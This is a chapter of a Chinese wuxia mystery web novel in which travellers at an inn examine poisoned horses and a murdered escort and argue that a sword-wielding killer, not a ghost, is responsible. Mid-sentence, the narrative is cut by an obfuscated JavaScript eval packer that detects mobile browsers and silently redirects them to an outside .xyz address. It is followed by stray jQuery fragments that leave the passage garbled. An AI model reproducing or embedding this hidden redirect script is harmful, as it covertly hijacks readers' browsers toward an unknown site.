3. 鬼哭村 二
作品:《江湖何曾骗真心》 次日清晨,天色微亮。
唐雨睡得并不安稳,便早早起身下楼。
此时,大堂中走镖的众人竟早已聚齐,有些还在用着早饭,有些已忙着去打点行李。
堂中,正啃着干馒头的望山岳一见他下来,立刻挥手招呼,神情热络:“苏兄!这边坐!”
唐雨回以一笑,正要寻个位置坐下,点些早膳。
突然,自后院马厩方向传来一声惊呼,尖锐急促,带着难掩的惊慌。
“出事了?!”望山岳动作极快,丢下手中馒头,提着剑便往后院奔去。
厅中一众镖师也立刻警觉,纷纷放下筷箸,跟着朝后院涌去,一时间,大堂顿时空荡几分。
唐雨抬头,不经意看了一眼屋顶。
总觉得,天花板某处……似乎沾了些什么?
她尚未来得及细看,目光一偏,便撞上了萧方椋探究的目光。
那人正安静地审视着她,含着笑意,狭长如狐狸般的眼眸中,透着捉摸不透的光。
见她看来,微微一颔首,顺着她方才的视线望向天花板,可那除了些斑驳暗沉,似乎再无异样。
“苏兄,不如一同去后院看看?”他唇角微扬,语气不疾不徐。
唐雨神色微动,心下生出一分危机感,但终究没有拒绝,轻轻一笑,答了声:“好。”
两人步伐不急不缓,并肩朝后院而去。
他们前脚离开,空无一人的大堂中,传来一声极轻的——
滴答。
一滴浓稠的暗红液体,顺着梁缝缓缓渗出,悄然滴落。
砸在地面之上,很快又悄无声息渗入砖缝,消失不见,徒留一片寂静。
*
刚踏入后院,扑面而来便是一股浓重的血腥之气。
萧方椋抽出腰间素白折扇,掩住口鼻,眉心微蹙,显然是不喜这股味道。
而眼前情景,更是令人一震。
马厩之中,一片狼藉。
十几余匹马,还有唐雨那头驴,倒毙在地,死状凄惨,竟是无一幸免。
奇怪的是,昨夜竟无人听见半点声响。
没有叫喊,也无嘶鸣,所有的马匹,就这么死的悄无声息。
众人倒吸一口凉气,皆面露骇色。
店家嘴唇微颤,似是想说什么,却硬生生就着口水,又咽了下去。
反倒是那脸色惨白的小二,惊呼着:“是鬼!是昨夜哭鬼杀的!”
望山岳此时正蹲在地上检查马匹伤口,被小二那突然的叫喊,惊得差点将手捅进马嘴,抬头有些无语的瞥了他一眼。
萧方椋不急不慢,绕过那满地狼藉,踱步而入。他弯下身来,隔着帕子,小心探查那被撕裂的喉颈,擦取些许残破伤口的血渍,拿给望山岳嗅了嗅。
见他点点头,肯定了自己的猜想,旋即轻笑出声,反问:“怎么鬼杀马,还需要事先下毒吗?”
萧方椋起身掸了掸袖口,提醒道:“憨憨,去看看你的货。”
望山岳一怔,猛然一拍脑门,终于想起自己极为重要的货物。
“完了!”
他几乎是飞也似的转身,带着一众镖师朝屋内奔去。
望远镖局,不仅是中京最大,也是武林上排第一的镖局。一次送镖的费用高得吓人,价值百金。可即便如此,仍是有络绎不绝的人前来托镖,正是因为其至今从未失镖的口碑,令他们镖局不仅在江湖上威名赫赫,连在朝廷也能吃得开。
是以但凡贵重钱物和人,都被望远镖局承接,武林与朝廷都信得过。这趟给夏南王送货,要是把招牌给砸了,那非得被他爹打死不可。
一众人匆匆穿过大堂,太过着急,竟无人察觉,就在头顶的梁缝之上,血迹正悄无声息地一丝丝渗出……
而此刻马厩处,唐雨站在萧方椋身旁,低头看向自己那死相安详的小毛驴,心下为它默哀了两秒。
随后啧啧道:“这下毒后,还嫌不够,竟又割了喉。”
萧方椋用新帕子仔细擦净手指,打量马尸几眼,“是挺歹毒。”
他抬眼微笑间,又恢复到一贯的温雅与云淡风轻。
两人一同折返中厅,几乎同时停住脚步,像是有种奇怪的默契,抬头望向头顶的天花板。
那浓稠黏腻的黑红血液,正挂在缝隙之间,如蛛丝上的露珠,缓慢在尾端汇成一滴,直至‘蛛丝’承受不住。
滴答。
那血终是失了重心,直直自两人面前坠落,砸在青砖之上。
收回目光,两人视线相交,皆从对方眼底寻到一丝惊疑,却无人先开口。
二楼,望山岳早已仔细查看一番,确保封条完好,没有动过的痕迹,才算是彻底松了一口气。
而唐雨与萧方椋的心思,却并不在那些珍贵货物之上,而是径直走向血迹所对应的房门前。
唐雨试了试,那门自里面反锁,无法推开。
“阿岳。”萧方椋退开两步,轻轻唤道。
那边的望山岳立马会意,三步并作两步而来,飞起一脚,踹向房门。
“砰!”一声巨响,木门应声而开。惊得唐雨都不自觉往旁边退了两步,有些埋怨这人也不知提醒她一句。
门一开,扑鼻而来的,是比马厩更浓重的血腥之气。
众人凑上前来,探头望进屋内,皆是倒吸一口凉气。
那掌柜的也忙凑过来,待看清屋中场景时,脸色骤变,一口气没提上来,两眼一翻,竟吓得晕死过去。
屋中,赫然是一具尸体。
“老许!”
有镖师认出来,失声惊叫。
此时的老许,瞪大双眼,呈跪姿正对着窗户,似乎是看见了什么可怖的东西。
脖子处有一道细长的口子,深可见骨。那血虽已半凝,却早已浸透全身,顺着躯体和衣襟,在身下汇聚成一片浓郁到发黑的血泊。
血渗入木质地板的缝隙,就这么经过一夜,最终化为唐雨两人所见,天花板上滴落的血。
霎那间,一片死寂。
窗未关,一阵微风吹过,窗框轻晃,卷入雨后湿润的空气,将那股血腥气吹得更加黏腻。
“鬼……是鬼!”小二瑟瑟发抖,语调发颤,指向窗外那颗老槐树,“最初……鬼哭刚开始的时候,第一名死者,就是跪在那颗树下。”
萧方椋并未受其胡言乱语的影响,而是漫不经心在屋内踱步,直至走到窗边才停下,呼吸了一口新鲜的空气。
他展开折扇,唇边浮现一抹若有若无的笑意:“哦?那这鬼哭,是从何时开始?”
小二无声咽下一口唾沫,带着哭腔道:“是大约十年前,一开始还是轻轻的,像小猫叫声般,后来哭声越来越凄厉。甚至那夜雨后,村西那叫荷红的姑娘,不知为何,尸体就在次日被发现跪在那老槐树底下。”
“所以……我们才劝客官们,夜里千万别出门。”
唐雨一边听着,一边打量尸体,困惑地歪了歪头,问:“鬼一般会怎么杀人的呢?用刀,或剑吗?”
众人因她的问题有些许发懵,一人试探开口:“鬼杀人,应该不需要武器吧。”
唐雨笑着点头,分析道:“这位死者颈部伤口平整,凶器造成的口子平滑而细,不深不浅,皮肉连一丝卷边都不见,一看就是剑伤。想来,是位使剑的高手,叫这位镖爷连剑都来不及抽出。”
她顿了一瞬,目光扫过尸体身侧佩剑,轻笑感叹:“能一剑封喉的鬼?这年头当鬼也不容易啊。”
一番话,犹如利刃剖开迷雾,将“鬼杀人”的传言斩得粉碎。
小二则愣在当场,找不到任何反驳的理由。
“没错!”望山岳也反应过来,连连点头,“确是剑伤,想来凶手是将老许骗至空屋,杀了之后跳窗逃走,还顺带将马一并杀害,着实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147153|180495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
歹毒至极!”
话音未落,窗边传来萧方琼一声叹气。
他实在听不下去望山岳的一通瞎猜,无奈地问:“你难道没发现?杀人与杀马的,并不是同一批人吗?”
“啊?为何?”望山岳显然没想明白。
萧方椋用折扇敲了敲窗框,“那马脖上的伤口,两侧浅而中间深,显然用的是弯刀一类。同时,脖颈处血液不多,说明马匹是先被毒死。而这与以剑杀害老许的方式相比,是不是显得有些割裂。”
唐雨闻言,嘴角勾起一个微小的弧度,倒是对这身娇体弱,有些挑剔的贵公子,生出些赞赏。
此人虽不会武,气质也与整个镖队格格不入,可所有人却都习以为常,望家二少更是处处照拂、事事听从。
一时间竟叫人分不清,谁是主事之人。
有点意思。
望山岳却仍有疑惑,辩驳道:“或许他们不止一人,所用武器不同。而且……相比于杀一人,马匹众多,若怕动静太大,先毒后杀,不也合理。”
“不对,反了。”唐雨出声道。
“反了?”望山岳困惑。
唐雨反问:“一个善使毒的高手,为什么杀人时不下毒,而是当面动手?又比如,一个能一剑毙命,叫人连剑都来不及拔的高手,为何又要多此一举下毒呢?”
“一个人的手段,往往藏着他的本能。人遇事,会先用最擅长的方式,而不是最复杂的。”
唐雨眼中闪过一丝笑意。
这是一种思维的惯性,比如他们唐门之人,即使恨到要手刃仇敌,也难免会习惯性的用药、用迷香。
并非策略,而是习惯。
“苏公子说得是。”萧方椋微微颔首,将折扇轻指窗下,“况且这屋里,也没有任何药物残留。不然,这只小蜈蚣,也不会跑进来避雨了。”
众人循声看去,只见窗边墙角,有一只黑色的小蜈蚣,正顺着墙壁缓缓爬行。
蛇虫鼠蚁一类,天生对危机感知就比人高,暴雨天会提前爬进屋内避雨,若前夜屋中有药,此刻雨后初晴,蜈蚣不会仍留在此处。
“尸体上,苏公子不妨试试,也应未有任何中毒痕迹吧。”
见萧方椋望向她,唐雨取出银针上前一试,果然未有变色,点了点头。
“那我们岂不是去要抓两批人?”望山岳见状有些泄气,“这一晚上过去,哪怕不是鬼,也早跑不见了。”
“不急。”唐雨微微一笑,“害马的人也许已逃,但杀人的那一位……倒还在客栈之中。”
“啊?”望山岳显然有些惊讶。
他看向萧方椋,只见其脸上笑意温和,便明白他亦赞同苏雨堂所言。
怎么又只有我不明白?
刚想开口询问,萧方椋却扇骨轻转,眼中却带着嘲意,先一步出声:“你杀完人,为何要锁好房门,却留窗户大开?”
他顿了顿,沉声问:“是生怕别人不知道,人是从窗边逃走的?还是,希望别人觉得,凶手已经自窗边逃走了?”
显然,对方是后者。
一个人既有心,谨慎地将门从内反锁,又怎会任由窗户敞开?
唐雨闻言,忽地想起自己弟弟。
那小子做坏事后,不仅会将门窗掩好,还总要细致地将屋中摆设复原,虽常常露馅,却绝不会出现眼前这种,破绽百出,矛盾又割裂的场景。
也不知他身体如何了。
唐雨目光回转,突然问了个无关之事:“望公子,昨夜睡得好吗?”
“挺,挺好的。”望山岳不明所以。
唐雨似笑非笑地问:“昨夜又是雷雨,又是鬼哭,诸位镖爷却想必都睡得很沉吧?”
眼神扫过众人。
一时无声,众人面面相觑。
原本不觉得,经此一问,才突然意识到:
对啊,他们昨夜睡的,怎这般沉啊?